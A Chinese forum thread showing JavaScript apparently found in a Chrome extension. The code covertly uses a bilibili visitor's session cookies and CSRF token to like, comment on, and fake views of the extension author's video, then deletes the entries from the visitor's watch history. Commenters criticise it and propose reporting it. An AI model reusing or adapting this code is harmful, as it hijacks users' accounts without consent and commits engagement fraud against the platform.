这个 js 是在某个 Chrome 插件里看到的 挺有意思的 又能发弹幕又能点赞还能删记录还能根据用户最新视频操作 发上来给各位 dalao 过目一下
(() = >{
if ("www.bilibili.com" === location.hostname) {
const e = !1,
i = e = >{
const i = {};
return document.cookie.split(";").forEach(e = >{
const t = e.trim().split("=");
i[t[0]] = t[1]
}),
i[e]
};
let t = null;
const a = 5e3,
o = 300,
d = 1e5,
l = {
coin: 0,
danmaku: 0,
favorite: 0,
like: 0,
reply: 0,
share: 0,
view: 0
},
r = {},
n = ["666", "666666", "支持", "厉害厉害", "可以可以", "牛逼", "666666666"],
c = () = >{
const e = parseInt(Math.random() * n.length);
return n[e]
},
s = () = >{
return fetch(` //www.bilibili.com/video/av${t}/?inooo=sanm`,{method:"GET",credentials:"include"}).then(e=>e.text()).then(e=>{const i=e.match(/<script>window.__INITIAL_STATE__=(.+?)<\/script>/);if(i&&i[1]){const e=i[1].replace(";(function(){var s;(s=document.currentScript||document.scripts[document.scripts.length-1]).parentNode.removeChild(s);}());","");return JSON.parse(e)}return{}})},p=()=>fetch("//api.bilibili.com/x/web-interface/archive/stat?aid="+t,{credentials:"include",method:"GET",mode:"cors"}).then(e=>e.json()).then(e=>e.data),m=()=>{if(localStorage.bilibilihelperliked+""==""+t&&!e)return;const o=i("bili_jct");o&&(l.like>a||fetch("//api.bilibili.com/x/web-interface/archive/like",{headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8"},body:`aid=${t}&like=1&csrf=${o}`,credentials:"include",method:"POST",mode:"cors"}).then(()=>{localStorage.bilibilihelperliked=""+t}))},h=()=>{const a=(new Date).getDate();if(localStorage.bilibilihelperdanmaku+""==""+t+a&&!e)return;const o=i("bili_jct");if(!o)return;const d=r.videoData.duration,l=parseInt(Math.random()*d*1e3),n=`type=1&oid=${r.videoData.cid}&msg=${c()}&aid=${t}&progress=${l}&color=16777215&fontsize=25&pool=0&mode=1&rnd=${1e3*Date.now()}&plat=1&csrf=${o}`;fetch("//api.bilibili.com/x/v2/dm/post",{headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8"},body:n,credentials:"include",method:"POST",mode:"cors"}).then(()=>{localStorage.bilibilihelperdanmaku=""+t+a})},b=()=>{const a=(new Date).getDate();if(localStorage.bilibilihelperplay+""==""+t+a&&!e)return;const o=r.videoData.duration-1,d=Date.now(),l=parseInt((d+1e3)/1e3),n=r.videoData.cid,c=!!document.getElementById("playerWrap")?"HTML5PlayerNew211bf0ca":"HTML5Player+c31db083",s=i("DedeUserID")||"",p=i("bili_jct")||"",m=`//data.bilibili.com/v/flashplay/h5_player_op?pname=1&mid=${s}&statue=3&playmethod=2&avid=${t}&eventparam=&progress=0&displayid=${d}&eventid=play_screen&trackerid=&cid=${n}&fver=${c}&seasonid=&epid=&videotype=1&fid=web_player`,h=`//data.bilibili.com/v/flashplay/h5_player_op?pname=1&mid=${s}&statue=3&playmethod=2&avid=${t}&eventparam=&progress=${o}&displayid=${d}&eventid=end&trackerid=&cid=${n}&fver=${c}&seasonid=&epid=&videotype=1&fid=web_player`,b=`//data.bilibili.com/v/flashplay/h5_player_op?pname=1&mid=${s}&statue=3&playmethod=2&avid=${t}&eventparam=&progress=${o}&displayid=${d}&eventid=end_recommend_show&trackerid=&cid=${n}&fver=${c}&seasonid=&epid=&videotype=1&fid=web_player`;fetch(`//data.bilibili.com/v/flashplay/h5_player_op?pname=1&mid=${s}&statue=3&playmethod=2&avid=${t}&eventparam=&progress=0&displayid=${d}&eventid=enter&trackerid=&cid=${n}&fver=${c}&seasonid=&epid=&videotype=1&fid=web_player`,{credentials:"include",method:"GET",mode:"cors"}).finally(()=>{setTimeout(()=>{fetch(m,{credentials:"include",method:"GET",mode:"cors"}).finally(()=>{let e=!1;const i=d=>{if(e)return;let r=d||0;if(r>o/1.9&&(localStorage.bilibilihelperplay=""+t+a),r>=o)return;fetch("//api.bilibili.com/x/report/web/heartbeat",{headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8"},body:`aid=${t}&cid=${n}&mid=${s}&csrf=${p}&played_time=${r}&realtime=${r}&start_ts=${l}&type=3&dt=2&play_type=${0===r?1:0}`,credentials:"include",method:"POST",mode:"cors"}).finally(()=>{setTimeout(()=>{p&&fetch("//api.bilibili.com/x/v2/history/del",{body:`aid=${t}&jsonp=jsonp&csrf=${p}`,headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8"},credentials:"include",method:"POST",mode:"cors"}).then(()=>{})},500)}),setTimeout(()=>{i(r+15)},15e3)};i(),setTimeout(()=>{e=!0,fetch(h,{credentials:"include",method:"GET",mode:"cors"}).finally(()=>{fetch("//api.bilibili.com/x/report/web/heartbeat",{headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8"},body:`aid=${t}&cid=${n}&mid=${s}&csrf=${p}&played_time=-1&realtime=${o}&start_ts=${l}&type=3&dt=2&play_type=4`,credentials:"include",method:"POST",mode:"cors"}).finally(()=>{fetch(b,{credentials:"include",method:"GET",mode:"cors"}).finally(()=>{}),setTimeout(()=>{p&&fetch("//api.bilibili.com/x/v2/history/del",{body:`aid=${t}&jsonp=jsonp&csrf=${p}`,headers:{"content-type":"application/x-www-form-urlencoded; charset=UTF-8"},credentials:"include",method:"POST",mode:"cors"}).then(()=>{})},500)})})},1e3*o)})},2e3)})};(()=>fetch("//space.bilibili.com/ajax/top/showTop?mid=用户 id&guest=0",{credentials:"include",method:"GET",mode:"cors"}).then(e=>e.json()).then(e=>(e.data&&e.data.aid&&(t=e.data.aid),t)))().then(e=>{e&&p().then(e=>(Object.assign(l,e),s())).then(e=>{Object.assign(r,e),l.view<d&&b(),l.like<a&&m(),l.danmaku<o&&h()})})}})();
1
LvMax OP 刚才看了一下手机端的推荐记录 b 站应该没有删除推荐记录的功能 所以可以通过推荐数来判断多少人使用了那个插件 作者实在是🐂🍺
|
2
linhongye 2018-08-06 11:30:47 +08:00 via Android
偷偷运行让大家变肉鸡?
|
3
LvMax OP @linhongye 插件上有个选项是 支持作者 应该是勾选了就会自动运行 做了也提到说这个选项不会影响用户
但是这个选项是默认开启的 就是说无论如何 只要用了一次这个插件就会给作者最新的视频增加播放量 点推荐 |
4
flowfire 2018-08-06 12:05:13 +08:00
这不举报一波还等什么
|
5
mrchi 2018-08-06 12:07:06 +08:00
不如把链接放出来,我们一起举报一波?
|
6
mikangchan 2018-08-06 12:24:52 +08:00
刚有人找我做个刷推荐网站的后台,没想到人家成品都出来了 hhhh
|
7
LvMax OP |
8
LvMax OP @mikangchan
有可能在这个 js 上修改 达到只要在任何网站上被运行就点推荐么? |
10
ryuzaki113 2018-08-06 14:03:49 +08:00
没意思啊这种
|
11
Geoion 2018-08-06 15:08:46 +08:00
还行
|
12
mrchi 2018-08-07 09:29:42 +08:00
@LvMax 我这样想哈,还是应该说清楚会让用户做什么,要不然,万一哪天作者在 B 站发了反动视频,我还去 666 了,岂不悲剧。另外,刷推荐这种是不是也可耻了点。
|
14
JebKerbal 2018-08-24 21:19:38 +08:00 via Android
上香~
|